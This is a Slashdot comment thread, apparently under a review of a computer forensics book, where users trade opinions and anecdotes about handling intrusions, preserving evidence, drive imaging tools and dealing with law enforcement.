    I'll bet cops have hundreds of words that translate to "civilian who is too clueless to be allowed anywhere near an ongoing investigation".

    Yes.

    But what's even worse is a civilian who has watched too many TV shows about forensic science.

  40. Re:WWYD? STFD, STFU, and DWYT. by networkBoy · · Score: 1

    I wish I still had mod points!
    -nB

    --
    whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
  41. 2 things by circletimessquare · · Score: 2, Insightful

    1. your whole philosophy of "just do what you are told" is the best philosophy for making sure the guys with the guns stay on top for as long as possible... in other words, you're attitude is part of the problem: "i'm just a slave, i don't think"

    2. for a treatise which draws a line between yourself and the guys with the guns, you come across as pretty passive aggressive

    --
    intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
  42. Re:WWYD? STFD, STFU, and DWYT. by Anonymous Coward · · Score: 0
    > So why would a Fed performing a forensic analysis be packing? You seem to be glorifying the roll a bit. It isn't sexy work, but rather slow, thorough, deliberate and methodical (read: tedius, dull, boring, lots of protocol busywork).

    He might not be, but he has a lot of friends who are!

  43. Wait for a Subpoena by jchawk · · Score: 2, Insightful

    Before you start handing out information it is always best to wait for a subpoena. Make sure it's signed by a judge and not a clerk. There is a reason for due process and law enforcement understands this even though they don't always want to follow it!

    1. Re:Wait for a Subpoena by Anonymous Coward · · Score: 0

      True...unless this Search and Seizure is covered by the company's security policy, (regarding the person's constitutional rights) if applicable.

      This is moot if you own the computer and if it doesn't violate anyone's 4th amendment right.

      Always make sure to have this handled by the CERT, not some dumb admin.

  44. Re:WWYD? STFD, STFU, and DWYT. by izomiac · · Score: 1

    No kidding, what if you accidently wiped out some evidence while copying the drive (like the last command in the log file)? I'd just turn off the system, remove the HD and replace it with another (imaged with the latest backup). Seems like that would be a lot easier and safer than trying to copy the data off the original drive, and you wouldn't have to worry about getting rid of a root kit or whatever was used to comprimise the system.

  45. Re:WWYD? STFD, STFU, and DWYT. by wowbagger · · Score: 1

    OK, I get:

    WWYD - What Would You Do?

    STFU - Shut the fuck up

    DWYT - Do what you're told

    But what is STFD?

  46. Interesting.. by bmantz65 · · Score: 1

    I'm going to school for this and network security, so I'll be sure to read further into this book.

  47. Recovering lost RAM or HD by Anonymous Coward · · Score: 0

    Dr. Peter Gutmann of the University of Aukland knows a thing or two about data recovery.

    Way back in '96 he wrote a paper on recoving information from both disk and solid-state memory.

    He did a followup paper in 2001.

    L33t haxx0rs beware: If your victims has an ice chest and an FBI forensics team standing by, he just might be able to get at the RAM after pulling the plug.

  48. Getting the evidence of the computer by Chucklz · · Score: 1

    Billy, all you need to do is clear the cache and history. Now your mom wont ever know what kinds of sick pr0n you read after school.

  49. Police are NOT your friends. by Lord+Kano · · Score: 1
    • How would you cooperate with law enforcement when a crime has been committed on a computer?


    That's the wrong question. How would I cooperate isn't a concern because I wouldn't.

    If your cooperation leads to evidence that you didn't do everything that you could have possibly done to prevent the security breach, that could expose you to financial liability. I'm not going to be the one to gathers the evidence to be used against me.

    LK
    --
    "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
  50. not to name names by bani · · Score: 2, Informative

    "intel"

    the ex-employee is David Dugan.

    the case you're talking about is this one:
    http://www.theregister.co.uk/2004/11/11/inte l_gun_ man/

    1. Re:not to name names by CyberDave · · Score: 1

      And this, ladies and gentlemen, is why insiders are typically much more dangerous to your systems than outsiders. I can't find the numbers right now, but I want to say that about 60% of "hacking" attempts came from the inside (as of a year or so ago, if I remember by cybersecurity classes correctly.)

      CyberDave

    2. Re:not to name names by corbettw · · Score: 1

      the case you're talking about is this one:
      http://www.theregister.co.uk/2004/11/11/inte l_gun_ man/


      The case you referenced was about a guy who wanted to go postal on the plant where he used to work. It didn't say anything about him dropping DBs, and implied he was a line worker until being fired for some unknown reason. Hardly someone with root level access to a production DB.

      Besides, there's a world of difference between dropping a DB and sprayin' and prayin' with your trusty Kalishnikov brand happy joy stick.

      --
      God invented whiskey so the Irish would not rule the world.
    3. Re:not to name names by pjbass · · Score: 1

      No, this is not the case. It never made press; this person was in Oregon. He never made death threats, or tried to blow up a plant. He was much closer to the operations than this person. Nice try though.

      And yes, this is the company...

  51. Failure to cooperate can lead to jail by davidwr · · Score: 1

    If it turns out you failed to cooperate when asked, it can lead to criminal liability, especially if people hijacked your computers to commit another crime, like trading bank account numbers or plotting political assasinations.

    Hmm, Choice A:
    High chance of civil suits and possible bankruptcy.

    Choice B:
    Slightly lower risk of civil suits and possible bankruptcy but a real risk of jail.

    Tough choice.

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
    1. Re:Failure to cooperate can lead to jail by Lord+Kano · · Score: 1

      If it turns out you failed to cooperate when asked, it can lead to criminal liability, especially if people hijacked your computers to commit another crime, like trading bank account numbers or plotting political assasinations.

      There's a difference between not cooperating and actively obstructing. I'm not talking about the latter.

      LK

      --
      "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
  52. and there are other tricks... by da5idnetlimit.com · · Score: 1

    the oldest I know involving a 9v battery and 5 minutes identifying the proper pins on the chip...

    No soldering involved either ...

    --
    It takes 40+ muscles to frown, but only four to extend your arm and bitchslap the motherfucker
    1. Re:and there are other tricks... by John+Courtland · · Score: 1

      Buy a similar motherboard and just pull the chip if it's a DIP.

      --
      Slashdot is proof that Sturgeon's Law applies to mankind.
  53. You have to actually CONFIGURE your *nix? by bani · · Score: 1

    I'm sure theo de raadt would disagree with you.

    Not that any sensible person thinks theo is correct...

  54. Sit The Fuck Down -- use context clues by Anonymous Coward · · Score: 0

    (sorry for the language)

  55. Re:WWYD? STFD, STFU, and DWYT. by mOdQuArK! · · Score: 1

    You'd be surprised - I attended (as a 3rd-party observer) a software presentation at an FBI data center once, and _all_ of the attendees were packing. (Made the presentation a little surreal.)

  56. "Windows make it fairly easy" ... to circumvent. by alt-j · · Score: 0

    From the Windows encryption link, "encrypt data directly on volumes that use the NTFS file system so that the data cannot be used by any other user."

    A couple of years ago, I tested this out and was able to circumvent it by resetting the admin password on the system (Google for a variety of tools to do this), logging in as admin and resetting the user's password with the encrypted information, then logging in as that user.

    Voila! I had full access to all of the encrypted files. To truly protect your data, you need a better implementation of encryption than the default Windows encryption. I didn't test this but if you have PKI setup with windows and use your certificate to encrypt files or directories, I believe it is more difficult to circumvent.

  57. Best possible advice by Anonymous Coward · · Score: 1, Insightful

    If you are a novice sysadmin and you are getting started in data forensics (maybe just figuring out who pwn'd your phpBB install or something basic like that), I recommend learning the following habit ASAP:

    DOCUMENT EVERYTHING YOU DO

    From the moment you learn of the break-in to the moment you boot up the re-imaged machine, make a detailed log with dates and times, names, screen dumps, data, whatever. Even just a text file on your laptop.

    Even if you fuck up the evidence (like, shutting the machine off before getting all the evidence in RAM), you at least have a *record* of exactly how you fucked up.

  58. FWIW2 by selil · · Score: 2, Interesting

    I really enjoyed the book myself when I read it this summer. As a compilation detailing computer law it was pretty good. Most of the tools I found to be aging or at a very low level. If you add in "Cybercrime" by Ralph D. Clifford an excellent book on computer law it opens a much broader picture. "Software Forensics" by Robert M. Slade is my current read and gets an interesting rating for now. "Computer Forensics" unfortunately is only part of the picture. With so much of the net existing in RAM and the traffic in between nodes "Network Forensics" should be the next big topic. There has to be a way of taking dynamic bits and making static evidence. There are a few other things that are going to hold back the field of forensics. The fact that the commercial forensic tool vendors have been refusing to teach the defense attorneys or experts is very scary. This is a rapidly expanding field very similar to how DNA expanding in the 70's and 80's.

    --
    --- Location Unknown
  59. talk to your attorney BEFORE you are breached by davidwr · · Score: 1

    In some environments, your attorney will say "unplug the sucker."

    In others, he'll say "don't touch it."

    In others, he'll say "log every bit that goes in and out of that unit 24x7 then unplug the unit if there's a breach. The log will hold up in court."

    The last option doesn't come cheap.

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
  60. that movie by raarky · · Score: 1

    After reading that, all i can hear in my head is: "HACK THE GIBSON" :P

  61. Re:"Windows make it fairly easy" ... to circumvent by John+Courtland · · Score: 1

    Currently, Windows does not encrypt files shown to the Administrator. Don't know why, but it's a bad practice and you can pretty easily get Admin rights in Windows even if you don't have physical access.

    --
    Slashdot is proof that Sturgeon's Law applies to mankind.
  62. Re:WWYD? STFD, STFU, and DWYT. by Anonymous Coward · · Score: 0
    A goodly number of the folks that I run into in the course of my job (forensic software) carry guns at all times. You go to a trade show and see guys walking around with 9mm hardware on their belt.

    This caused some problems recently when John Ashcroft made the keynote speach at a conference recently in D.C. They had to tell everyone to leave their guns elsewhere because Ashcroft's security people would not like people with guns in the same room.

  63. Fixed in later W2K Service packs and XP by jschottm · · Score: 1

    These days if you have the entire drive encrypted, you can't just reset the password using Linux or whathaveyou. Look for the word "Caution"

    There are ways around it, but it's non-trivial for Joe Random computer thief. So if I'm just worried about some personal data getting found while poking around on the hard drive, I'm good. The thief would have to get my personal password somehow (I use long, random passwords, so a dictionary attack would fail) and then use a specialized tool to read the drive. Very few thieves would go to that trouble unless they knew there was something _really_ worth looking for.

    If I were hiding my Swiss Bank account with millions of dollars in it, I might consider using something stronger. But for most cases it's fine.

  64. Re:WWYD? STFD, STFU, and DWYT. by Anonymous Coward · · Score: 0

    I'll bet cops have hundreds of words that translate to "civilian who is too clueless to be allowed anywhere near an ongoing investigation".

    Yea, it's called the Slashdot Community. :)
    Throw in your typical IT staff and anyone who uses the word forensics to refer to actions such as unerasing your own files, running an IDS as part of your normal business practices or running GREP on a co-worker's computer.

  65. A 'thank you' from the SF forensics moderator... by sczimme · · Score: 3, Informative


    The security focus mailing list dedicated to forensics is also good lurking

    I am the moderator of the SecurityFocus.com forensics list, and agree that it is a great resource. (Al Huger is listed in the info page as the moderator; he is actually the list owner.) The list is dedicated to discussion of technical forensics topics.

    The SF forensics list archives are here. A general listing of SF mailing list archives is here. Those interested in subscribing to the forensics list (or other lists @SecurityFocus) can do so from the archive page.

    Cheers!

    Scott C. Zimmerman, CISSP

    --
    I want to drag this out as long as possible. Bring me my protractor.
  66. Joking? by Anonymous Coward · · Score: 0

    "Many Slashdot readers know how to secure a network, and many know how to determine if a security breach has taken place."

    You're new here, huh? This student gossip board has more clueless wonders than any other I have come across. Even the Gentoo forums have more "genuine" geeks than these sorry fanboys.

  67. Re:WWYD? STFD, STFU, and DWYT. by Anonymous Coward · · Score: 0
    > But what's even worse is a civilian who has watched too many TV shows about forensic science.

    C'mon, you can tell us... is there a word for 'em? :)

  68. Re:WWYD? STFD, STFU, and DWYT. by ptlis · · Score: 1

    Sit The Fuck Down? Shut The Fucker Down (referring to the comprimised machine?

    --
    There's mischief and malarkies but no queers or yids or darkies within this bastard's carnival, this vicious cabaret.
  69. Re:WWYD? STFD, STFU, and DWYT. by sfjoe · · Score: 2, Insightful

    The most helpful thing you can do for these people is to sit the fuck down, shut the fuck up, and to do what you're told.


    This is true, but not useful. It is the most helpful thing you can do for "these people", however, the most helpful thing you can do for yourself is to wait for the advice of your lawyer and do nothing and say nothing until then.
    If they are asking you for help, then you are a syadmin of some sort. As such (pay attention now) YOU ARE HIGH ON THE LIST OF POSSIBLE SUSPECTS. Don't make things worse for yourself by inadvertently saying or doing something to incriminate yourself

    --
    It's simple: I demand prosecution for torture.
  70. research paper on visualizing intrusions by Sajma · · Score: 1

    A recent research paper from University of Michigan, Backtracking Intrusions, presents a tool for identifying and visualizing the cause of suspicious behaviors (e.g., "where did the file /tmp/rootkit come from?"). A very nice paper and a significant contribution to intrusion forensics.

  71. It is true in the U.S. as well. by dexterpexter · · Score: 1

    Actually, believe it or not, but that is indeed technically true in the United States that by viewing the illegal content, you are in turn committing a crime. Especially in a home or corporate setting. However, if you can prove that it was as a part of a regular investigation, it would not seem that you would be brought up on charges for it. I mean technically, opening a coke bottle without the supervision of a licensed engineer is illegal in the state of Oklahoma, but you won't find many people in jail for it.

    Some of our cybercrime units were discussing that, under the current poorly-drafted laws, it is technically illegal for them to possess that content as a result of a forensics investigation. But then again, most reasonable courts wouldn't prosecute such a case. But I do remember this coming up in conversation with a cybercrime unit in the past, but this is second-hand information that has not been confirmed by evidence, so take it with a grain of salt.

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
    1. Re:It is true in the U.S. as well. by bazfum · · Score: 1

      I mean technically, opening a coke bottle without the supervision of a licensed engineer is illegal in the state of Oklahoma

      Could you please give us a link to this? I'm intrigued by weird laws.

      --
      foo(bar(baz(fum())));
  72. Seizing the server by dexterpexter · · Score: 1

    Ideally, something like EnCase Enterprise would already be installed on the machine. The Enterprise edition of EnCase allows for network security analysis and creates a rather nice report and image of what is going on.

    The problem with this (thus making it ideal is):
    1) most corporations do not have programs like EnCase Enterprise installed prior to the attack
    2) EnCase is prohibitively expensive.

    You can make an image of the server in the case that it is warranted, but that requires you to have an equal or larger storage medium to which to make the image.

    In the case of a police matter where a crime has been committed and your system is being investigated, however, it is basically: Tough.
    They generally avoid unplugging and bagging and tagging when they can, but if you are being investigated and they have the proper paperwork, they can seize the server.

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
  73. "Corporate" assets ?? by Anonymous Coward · · Score: 0

    When corporations merge with government, that is called fascism. Given that George Bush put corporate executives in all the major posts of his government (EPA, FDA, Treasury, etc) it follows that logically, the USA is now a fascist government with only democratic window dressing. Indeed, it is only window dressing since there have been 57000 formal complaints to the House Judiciary Committee of voting irregularities since Nov 2nd (see votersunite.org for about 400 o f them), probably more than you saw in the Ukraine.

    Given this, it is worth asking why on earth any ethically-minded person would want to protect corporate assets, unless he were a fascist.

  74. The police department by dexterpexter · · Score: 1

    Sadly, not every police department has a cybercrime unit and thus do not actually have the resources or expertise to pursue the matter. Unfortunately, although you might have tracked the information down, it may not be prosecutable because of the manner by which you discovered it. While I am sure you did a fine job, the problem is that for things to be admissible in court, there are certain procedures that much first be followed to ensure forensic integrity. That is there to protect the accused from tampering. That might not even be an issue here, but it's something to consider.

    In the case of our local cybercrime unit, they indeed had the resources and expertise to track down the culprit in one cyberstalking case and did so in a sound manner, but one of the district bigwigs decided to drop the case (after months of hard work) because it was "too technical" and that "an average jury wouldn't be able to understand the case." So, it might not be your PD as much as the other district entities over them.

    However, everyone has a right to their day in court and if the individuals affected wanted to pursue the matter themselves in court, they would be within their rights to.

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
  75. Do not shut down the machine... yank the cord. by dexterpexter · · Score: 1

    As a rule, forensic investigators try to do a cold boot (including yanking the cord or just turning off the machine)

    Actually, a good forensic's examiner would not "just turn off the machine." You are correct about yanking the cord. The cord, however, must be pulled from the back of the machine, not the wall.

    Never go through the regular shut down process and do not pull the cord from the wall. The industry standard (and best practice) is to pull the cord from the back of the machine.

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
    1. Re:Do not shut down the machine... yank the cord. by Anonymous Coward · · Score: 0

      You wanna maybe mention WHY you should pull the cord from the back?

  76. I know how! by LightningBolt! · · Score: 1

    > many know how to determine if a security breach has taken place.

    The way I find out is by reading about it on slashdot.

    --
    Old people fall. Young people spring. Rich people summer and winter.
  77. But hopefully it will raise awareness by dexterpexter · · Score: 1

    Well, the benefit is that people become more aware of what is possible, what they can do to stop it, and what needs to be maintained/protected for a proper investigation. But yes, it is true that some people fancy themselves experts after reading a single book. Hopefully, though, their lack of credientials will hinder them from being hired or placed into a true forensics position, and will only serve to help them track down the culprit on their server in the case that they do not wish to prosecute the case but wish to track down the source of the intrusion for future monitoring reasons.

    If anything else, it will hopefully make system admins in a corporate setting realise that if they wish to pursue the case in a court, they can't go stomping through the system like a bull in a china shop. Perhaps it will afford them an option to minimize the impact and liability caused by a system compromise, while preserving the system in a way that the real forensic experts can examine the system.

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
  78. Recovering deleted files by dexterpexter · · Score: 1

    Unless their mom is a savvy forensics analyst and happens to have FTK laying around and recovers those deleted files. FTK does a nice job of recovering deleted files.

    Poor Billy.

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
  79. Washington DC FBI Bureau by powdered+toast+dude · · Score: 2, Insightful
    The only time I've ever had a box rooted was a few years ago in DC (I was careless with WU-ftpd; lesson learned). I was able to trace back through this particular attacker's sloppiness, and gathered a lot of useful info. When I called the Washington DC bureau of the FBI to report the incident and share what I had learned, I was told, "um, our computer guy's not here right now. Can you call back tomorrow?"

    I was aghast, needless to say.

    $0.02,
    ptd

    --
    I'm an animal lover -- they're delicious!
  80. Protecting the asset of *Consumer Information* by dexterpexter · · Score: 1

    Given this, it is worth asking why on earth any ethically-minded person would want to protect corporate assets, unless he were a fascist.

    I know this is a troll, but I will bite.
    You do realize that many corporations list their database that contains customer names, addresses, credit card numbers, etc. as an asset, right?

    So, in the case of Information Security, when you are helping corporations protect their "assets," many times you are helping protect consumer privacy.
    When this information is compromised, it is extremely important to be able to investigate that breach in a forensically-sound manner in the case that prosecution becomes necessary, and also to limit the further exposure of this "private" information.

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
    1. Re:Protecting the asset of *Consumer Information* by plinius · · Score: 1

      So if a thief steals your wallet, you suggest helping him hold on to it rather than pass it on to the mafia who will steal your identity. What a poor ass debater you are.

  81. VideoTape and annotate every step ! Re:Step 1 by Sam+Nitzberg · · Score: 1

    Make sure that you have appropriate equipment on-hand so that you can -document- that you have taken appropriate steps. Make sure that you have appropriate gear to record and playback every operation that you take, and the system's responses. Test it out. Do scan-lines destroy your video image ?

    Yes - an adversary can challenge everything you do in court - but, this is the only effective way to assert that you have not damaged or tainted the evidence. You can prove that you've maintained the chain-of-custody.

    http://www.iamsam.com

  82. Hey, that's a printer port, not a FINGER HOLE! by b00m3rang · · Score: 1

    /Simpsons quote

  83. Soda Bottle/Engineer law by dexterpexter · · Score: 1

    I know that this is not an authoratative source, and I would prefer to find a copy of the actual law for you, but until I do, here is a link:

    http://www.ahajokes.com/laws036.html

    If you check out most of the "Stupid Law" collections online, under Tulsa, Oklahoma, you will find this oddity.
    The google search can be found here.
    I will see if I can track down a copy of the actual law, though.

    Oklahoma has many of these laws and do not prosecute. I don't know why they would prosecute a cybercrime division for confiscating child porn as long as it is done as done as a matter of law enforcement. However, a corporate entity might have more to worry about, although unlikely.

    Of course, they have prosecuted people in the past for having a few child pornography images in a cache that was planting there unknowingly because of their visiting a joke site or something that uses those pay-per-popup advertising schemes. Generally these people are let off the hook because the evidence does not show intent, but it is technically still illegal to posess those images.

    I think that these ineffective laws make a mockery of important laws and should be revised or removed from the books. (Revised referring to the child porn law, to allow law enforcement and forensic/corporate investigation, and removed referring to our funny yet ridiculous soda bottle law.)

    --

    *-*-*-*-*-*-*-*
    "We are Linux. Resistance is measured in Ohms."
  84. Re:If you've got a problem, if no one else can hel by Anonymous Coward · · Score: 0

    and if you can find them, maybe you can hire - the freakbots!

    this weeks episode: Wheels of Thunderdoom.

    next weeks episode: Search for jumper cables.

  85. My impression from the replies.. by RedLaggedTeut · · Score: 1

    My impression from the replies is that what you should do depends on the situation.

    Against a theoretical very sophisticated non-bot attacker you'd just do nothing with the machine and instead watch the network traffic for clues.

    So think first, about ways to stealthily collect more information, then follow the parents advice to make a bit-by-bit copy of the harddrive after turning off the machine.

    --
    I'm still trying to figure out what people mean by 'social skills' here.
  86. Re:fp by Anonymous Coward · · Score: 0

    And following on from your sig, I like feminists. I think they're cute.

  87. I took a class on cybercrime by paranode · · Score: 1
    It was taught by a person trained as a police forensics investigator. I learned very little because it was targeted towards police who wanted to get higher education (master's level class) and I myself am a security analyst. However, what I did learn is that police interest in a case like this and the interests of a company are usually completely polarized. Police want to collect the evidence all by themselves in a structured and documented manner. After all, if something goes to trial they need to have consistency and chain of evidence and all of that. Plus, the software they use (such as Forensic Tool Kit) has been accepted in the arena of courts as a valid standard for investigating computer crimes. You can't really say the same for grep.

    He actually referred to people like "systems administrators", "security analysts", and various other IT positions as if they were little creatures that you might find out in the wild. He basically said that these people are tools for the police to help find the evidence they need and not to let them tamper with the evidence and try to do the investigation themselves.

    When it comes down to it, many companies avoid contacting police instead preferring to handle the investigation internally. You open up your corporate secrets and data to the public basically and police aren't exactly known for their discretion. Moreover, depending on how overzealous they are, they could get a warrant to search your premises and confiscate computers with sensitive customer and internal emails and things like that. Technically they aren't supposed to look at anything that isn't relevant to the case, but I'm sure it happens all the time.

  88. Anti-forensics by acz · · Score: 1
    Most books and talk about computer forensics are bonk.

    Digital Forensics and the Art of Anti-forensics

    The Grugq The rise in prominence of incident response and digital forensic analysis has prompted a reaction from the underground community. Increasingly, attacks against forensic tools and methodologies are being used in the wild to hamper investigations.

    This talk will: familiarize the audience with Unix file system structures; examine the forensic tools commonly used, and explore the theories behind file system anti-forensic attacks. In addition, several implementations of new anti-forensic techniques will be released during the talk.

  89. Another review of "Computer Forensics" by Roxy · · Score: 1
    Another (contrarian) view of the book.

    www.buresund.se

    In my opinion, there exists other (better) books.

    Regards

    Roland Buresund

    --
    -- Roland Buresund MBA, MCMI, CISSP
  90. Scott Zimmerman! by TheLibero · · Score: 1

    Are you a relative of Phil Zimmerman the creator of PGP???

    --
    "Evil thrives when good men do nothing"
    1. Re:Scott Zimmerman! by sczimme · · Score: 1


      Are you a relative of Phil Zimmerman the creator of PGP???

      Good old Uncle Phil!

      J/K - we are not related. Note: we spell our names a bit differently. &:-)

      --
      I want to drag this out as long as possible. Bring me my protractor.
  91. My detailed analysis by Anonymous Coward · · Score: 0

    In Korea, only old people hack web server.

  92. We use Logicube to copy the drive, then software by Anonymous Coward · · Score: 0

    Logicube Forensics' products do the trick for getting a copy of the drive. We use a Forensic MD5 to copy the source without changing it, and then an OmniClone to dupe the destination drive to send out to be analyzed by experts who hold up in court. Most of the experts use one of their own software packages. Commercially: Encase, FTK and ILook are all pretty good.

    Marketing mumbo-jumbo from their site: "Logicube is the world leader in hard drive duplication, back up and computer forensics systems. Our hard drive duplicators offer hardware solutions for copying hard drives, data recovery, and disaster recovery."